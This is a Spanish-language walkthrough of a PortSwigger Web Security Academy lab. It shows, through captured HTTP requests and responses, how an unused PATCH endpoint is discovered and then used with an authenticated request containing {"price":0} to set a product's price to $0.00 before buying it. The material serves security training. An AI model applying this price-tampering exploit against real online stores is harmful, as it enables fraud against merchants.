# Lab #3: Finding and exploiting an unused API endpoint Primero analizamos el trafico al interactuar con un producto se genera la siguiente peticion: ``` GET /api/products/3/price HTTP/2 Host: 0aeb00d00435a3298148758900bd0022.web-security-academy.net Sec-Ch-Ua-Platform: "Windows" Accept-Language: es-CO,es;q=0.9 Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Sec-Ch-Ua-Mobile: ?0 Accept: */* Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://0aeb00d00435a3298148758900bd0022.web-security-academy.net/product?productId=3 Accept-Encoding: gzip, deflate, br Priority: u=1, i ``` Y esto responde: {% code overflow="wrap" %} ```json HTTP/2 200 OK Content-Type: application/json; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Length: 98 {"price":"$15.45","message":"Buy quick, we are low on stock! 5 purchased in the last 42 minutes!"} ``` {% endcode %} Si modificamos el metodo utilizado para la peticion: ``` OPTIONS /api/products/3/price HTTP/2 Host: 0aeb00d00435a3298148758900bd0022.web-security-academy.net Sec-Ch-Ua-Platform: "Windows" Accept-Language: es-CO,es;q=0.9 Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Sec-Ch-Ua-Mobile: ?0 Accept: */* Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://0aeb00d00435a3298148758900bd0022.web-security-academy.net/product?productId=3 Accept-Encoding: gzip, deflate, br Priority: u=1, i ``` Esto responde asi: ``` HTTP/2 405 Method Not Allowed Allow: GET, PATCH Content-Type: application/json; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Length: 20 "Method Not Allowed" ``` {% hint style="info" %} Gracias a la peticion con OPTIONS se identifica que Allow: GET, PATCH {% endhint %} Se identifica la necesidad de una autenticacion debido al error luego de interactuar con el metodo PATCH. ``` PATCH /api/products/3/price HTTP/2 Host: 0aeb00d00435a3298148758900bd0022.web-security-academy.net Sec-Ch-Ua-Platform: "Windows" Accept-Language: es-CO,es;q=0.9 Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Sec-Ch-Ua-Mobile: ?0 Accept: */* Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://0aeb00d00435a3298148758900bd0022.web-security-academy.net/product?productId=3 Accept-Encoding: gzip, deflate, br Priority: u=1, i ``` Lo anteriro responde asi: ``` HTTP/2 401 Unauthorized Content-Type: application/json; charset=utf-8 Set-Cookie: session=VO2gWYDu5GJLUNPoqfG0VRoRiyGokldK; Secure; HttpOnly; SameSite=None X-Frame-Options: SAMEORIGIN Content-Length: 14 "Unauthorized" ``` Realizamos login y luego enviamos nuevamente la peticion: ``` PATCH /api/products/3/price HTTP/2 Host: 0aeb00d00435a3298148758900bd0022.web-security-academy.net Cookie: session=xDsx2QXEtAEA5PeYCKRf1cijXpaQfNkf Sec-Ch-Ua-Platform: "Windows" Accept-Language: es-CO,es;q=0.9 Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Sec-Ch-Ua-Mobile: ?0 Accept: */* Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://0aeb00d00435a3298148758900bd0022.web-security-academy.net/product?productId=3 Accept-Encoding: gzip, deflate, br Priority: u=1, i ``` Y ahora sale un nuevo error que dice: ``` HTTP/2 400 Bad Request Content-Type: application/json; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Length: 93 {"type":"ClientError","code":400,"error":"Only 'application/json' Content-Type is supported"} ``` Teniendo en cuenta el error modificamos la peticion: ``` PATCH /api/products/3/price HTTP/2 Host: 0ac8003604fc3794817011e300e70026.web-security-academy.net Cookie: session=nTtfcqRLC1ERYUwuAxqNvPJIEI3W2RBD Sec-Ch-Ua-Platform: "Windows" Accept-Language: es-CO,es;q=0.9 Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Sec-Ch-Ua-Mobile: ?0 Accept: */* Content-Type: application/json Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://0aeb00d00435a3298148758900bd0022.web-security-academy.net/product?productId=3 Accept-Encoding: gzip, deflate, br Priority: u=1, i Content-Length: 2 {} ``` Y sale este error: ``` HTTP/2 400 Bad Request Content-Type: application/json; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Length: 77 {"type":"ClientError","code":400,"error":"'price' parameter missing in body"} ``` Teniendo en cuenta el error modificamos la peticion: ``` PATCH /api/products/3/price HTTP/2 Host: 0ac8003604fc3794817011e300e70026.web-security-academy.net Cookie: session=nTtfcqRLC1ERYUwuAxqNvPJIEI3W2RBD Sec-Ch-Ua-Platform: "Windows" Accept-Language: es-CO,es;q=0.9 Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Sec-Ch-Ua-Mobile: ?0 Accept: */* Content-Type: application/json Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://0aeb00d00435a3298148758900bd0022.web-security-academy.net/product?productId=3 Accept-Encoding: gzip, deflate, br Priority: u=1, i Content-Length: 11 {"price":0} ``` Esta peticion permitio modificar el precio del producto: ``` HTTP/2 200 OK Content-Type: application/json; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Length: 17 {"price":"$0.00"} ``` Y compramos el producto: